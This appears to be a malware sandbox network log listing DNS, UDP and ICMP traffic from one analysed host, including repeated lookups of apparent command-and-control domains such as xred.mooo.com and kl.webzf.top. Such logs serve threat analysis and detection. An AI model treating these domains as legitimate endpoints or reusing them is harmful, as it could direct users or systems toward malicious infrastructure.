Aug 5, 2024 12:00:37.989053011 CEST	54272	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.989412069 CEST	54273	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.993710041 CEST	53	54252	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.032072067 CEST	53	54269	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.050172091 CEST	54274	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.050492048 CEST	54275	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.055521011 CEST	53	54259	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.059247971 CEST	53	54266	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.069003105 CEST	53	54246	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.069327116 CEST	53	54256	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.074954987 CEST	53	54262	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.075129032 CEST	53	54250	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.078319073 CEST	53	54261	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.080584049 CEST	53	54267	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.080601931 CEST	53	54258	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.087974072 CEST	53	54271	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.093509912 CEST	53	54268	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.106365919 CEST	53	54255	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.112159967 CEST	54276	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.112301111 CEST	54277	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.175059080 CEST	54278	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.175134897 CEST	54279	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.237981081 CEST	54280	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.239481926 CEST	54281	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.274698973 CEST	50981	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:38.300585985 CEST	50982	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.301600933 CEST	50983	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.346842051 CEST	53	54244	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.346879005 CEST	53	54273	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.346909046 CEST	53	54253	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.346968889 CEST	53	54263	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.347294092 CEST	53	54275	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.347309113 CEST	53	54272	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.347417116 CEST	53	54277	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.347506046 CEST	53	54274	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.361726046 CEST	50984	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.363128901 CEST	50985	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.425297976 CEST	50986	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.426584959 CEST	50987	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.508869886 CEST	50988	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.510202885 CEST	50989	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.568943977 CEST	53	54279	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.569367886 CEST	53	50981	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:38.569483042 CEST	53	54251	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.569678068 CEST	53	54257	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.569751978 CEST	53	54281	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.569766045 CEST	53	50982	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.591012955 CEST	53	54278	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.604706049 CEST	53	54280	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.605797052 CEST	53	50983	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.698092937 CEST	50990	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.717319965 CEST	50991	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:38.718502998 CEST	50992	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:38.727143049 CEST	53	50989	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.733019114 CEST	53	50988	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.733537912 CEST	53	50984	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.800179005 CEST	53	50990	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.810789108 CEST	53	50986	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:38.882494926 CEST	53	50992	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:38.972887039 CEST	53	50991	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:39.001048088 CEST	53	50985	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:39.036649942 CEST	53	54276	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:39.186933041 CEST	53	50987	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:39.530133963 CEST	50993	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:39.793220043 CEST	53	50993	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:40.922117949 CEST	56782	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:40.922120094 CEST	56783	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:40.929038048 CEST	53	56783	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:41.124329090 CEST	56784	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:41.124440908 CEST	56785	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:41.131277084 CEST	53	56784	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:41.162674904 CEST	53	56782	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:41.373775959 CEST	53	56785	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:42.958122969 CEST	53564	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:42.971079111 CEST	53	53564	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:49.703461885 CEST	59748	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:49.707560062 CEST	59749	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:49.787652016 CEST	49851	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:49.796461105 CEST	53	49851	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:49.873867035 CEST	53	59748	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:49.928946972 CEST	53	59749	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:54.331537008 CEST	61694	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:54.339142084 CEST	53	61694	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:56.769531012 CEST	59355	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:56.769541025 CEST	59356	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:56.776956081 CEST	53	59356	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:56.935086012 CEST	53	59355	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.097011089 CEST	55552	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.098037958 CEST	55553	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.161499023 CEST	55554	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.161669970 CEST	55555	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.202368975 CEST	53	55553	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.227418900 CEST	55556	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.228946924 CEST	55557	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.284787893 CEST	55558	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.285783052 CEST	55559	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.292655945 CEST	53	55559	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.349131107 CEST	55560	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.349308968 CEST	55561	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.412261009 CEST	53	55554	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.421678066 CEST	53	55552	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.425280094 CEST	55562	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.425299883 CEST	55563	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.447434902 CEST	53	55558	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.471081972 CEST	53	55555	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.476799965 CEST	53	55556	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.487826109 CEST	55564	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.488812923 CEST	55565	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.550276995 CEST	55566	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.550506115 CEST	55567	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.562299967 CEST	53	55557	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.620136976 CEST	55568	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.621244907 CEST	55569	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.675446033 CEST	55570	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.676790953 CEST	55571	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.682374954 CEST	53	55562	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.713356018 CEST	53	55566	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.720933914 CEST	53	55567	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.738262892 CEST	55572	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.739166975 CEST	55573	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.743822098 CEST	53	55564	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.745462894 CEST	53	55573	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.815594912 CEST	55574	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.815864086 CEST	55575	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.822655916 CEST	53	55574	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.831254005 CEST	53	55565	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.870028019 CEST	53	55568	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.879988909 CEST	55576	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.880992889 CEST	55577	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.888556957 CEST	53	55577	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:13.906480074 CEST	53	55572	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.920351982 CEST	53	55570	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:13.957576036 CEST	55578	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:13.958945036 CEST	55579	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:13.969060898 CEST	53	55579	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.018939018 CEST	55580	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.019124031 CEST	55581	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.029952049 CEST	53	55571	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.042253971 CEST	53	55576	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.067373991 CEST	53	55575	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.073009968 CEST	53	55563	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.081111908 CEST	55583	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.081129074 CEST	55582	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.087982893 CEST	53	55583	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.125049114 CEST	53	55578	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.143512011 CEST	55585	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.143541098 CEST	55584	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.150419950 CEST	53	55585	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.190151930 CEST	53	55581	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.206389904 CEST	55586	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.207739115 CEST	55587	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.249372005 CEST	53	55582	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.270155907 CEST	55588	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.270699978 CEST	55589	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.273955107 CEST	53	55569	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.307523966 CEST	53	55584	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.320477009 CEST	53	55580	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.331722975 CEST	55590	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.332283020 CEST	55591	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.345385075 CEST	53	55591	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.393968105 CEST	55593	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.393970966 CEST	55592	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.395519018 CEST	55594	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:14.395565033 CEST	55595	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:14.447835922 CEST	53	55589	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.458765030 CEST	53	55586	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.498502970 CEST	53	55587	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.563071012 CEST	53	55594	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.587730885 CEST	53	55590	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.641221046 CEST	53	55592	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:14.767920017 CEST	53	55595	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:14.846514940 CEST	53	55588	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:15.116588116 CEST	53	55593	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:16.196724892 CEST	55596	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:16.198055029 CEST	55597	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:16.205605984 CEST	53	55597	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:16.450889111 CEST	53	55596	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:16.467051983 CEST	55598	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:16.468337059 CEST	55599	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:16.719731092 CEST	53	55599	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:17.681788921 CEST	53	55598	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:25.891500950 CEST	55600	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:25.893289089 CEST	55601	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:25.900259018 CEST	53	55601	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:26.143449068 CEST	53	55600	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:34.106754065 CEST	62974	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:34.106815100 CEST	62975	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:34.330024004 CEST	53	62975	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:34.359823942 CEST	53	62974	114.114.114.114	192.168.2.7
Aug 5, 2024 12:01:45.555516005 CEST	62976	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:01:45.555980921 CEST	62977	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:01:45.567260027 CEST	53	62977	8.8.8.8	192.168.2.7
Aug 5, 2024 12:01:45.726524115 CEST	53	62976	114.114.114.114	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Aug 5, 2024 12:00:40.930383921 CEST	192.168.2.7	27.221.16.149	3ede	Echo
Aug 5, 2024 12:00:41.116552114 CEST	27.221.16.149	192.168.2.7	46de	Echo Reply
Aug 5, 2024 12:01:16.215068102 CEST	192.168.2.7	27.221.16.149	ff53	Echo
Aug 5, 2024 12:01:16.401037931 CEST	27.221.16.149	192.168.2.7	754	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 5, 2024 12:00:16.496501923 CEST	192.168.2.7	1.1.1.1	0xcf80	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:24.968775988 CEST	192.168.2.7	1.1.1.1	0xabd	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:26.426620960 CEST	192.168.2.7	1.1.1.1	0x57e5	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:26.632797956 CEST	192.168.2.7	1.1.1.1	0xfd79	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:26.746454000 CEST	192.168.2.7	1.1.1.1	0xec7d	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:30.899435997 CEST	192.168.2.7	1.1.1.1	0x1738	Standard query (0)	abc.vpzzz.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:31.072082996 CEST	192.168.2.7	1.1.1.1	0xefe7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:34.425482035 CEST	192.168.2.7	1.1.1.1	0x30d1	Standard query (0)	kl.webzf.top	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.120035887 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.120305061 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.174597979 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.174974918 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.238087893 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.238904953 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.300002098 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.300188065 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.363430023 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.364054918 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.425601959 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.426613092 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.487308979 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.487487078 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.551291943 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.552319050 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.612643003 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.612982988 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.674861908 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.674961090 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.737376928 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.737871885 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.800061941 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.800107956 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.863594055 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.863930941 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.924877882 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.925004959 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.989053011 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.989412069 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.050172091 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.050492048 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.112159967 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.112301111 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.175059080 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.175134897 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.237981081 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.239481926 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.274698973 CEST	192.168.2.7	1.1.1.1	0x6c6f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.300585985 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.301600933 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cctv.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.361726046 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.363128901 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hupu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.425297976 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.426584959 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.autohome.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.508869886 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jb51.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.510202885 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jb51.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.698092937 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.717319965 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.zhihu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.718502998 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.zhihu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.530133963 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	guangzhoucs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:40.922117949 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:40.922120094 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.124329090 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.124440908 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:42.958122969 CEST	192.168.2.7	1.1.1.1	0xed43	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.703461885 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.707560062 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.787652016 CEST	192.168.2.7	1.1.1.1	0x82a7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:54.331537008 CEST	192.168.2.7	1.1.1.1	0xf1c1	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:56.769531012 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:56.769541025 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.097011089 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.aliyun.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.098037958 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.aliyun.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.161499023 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sinacloud.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.161669970 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sinacloud.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.227418900 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.228946924 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.douyin.com	A (IP address)	IN (0x0001)	false
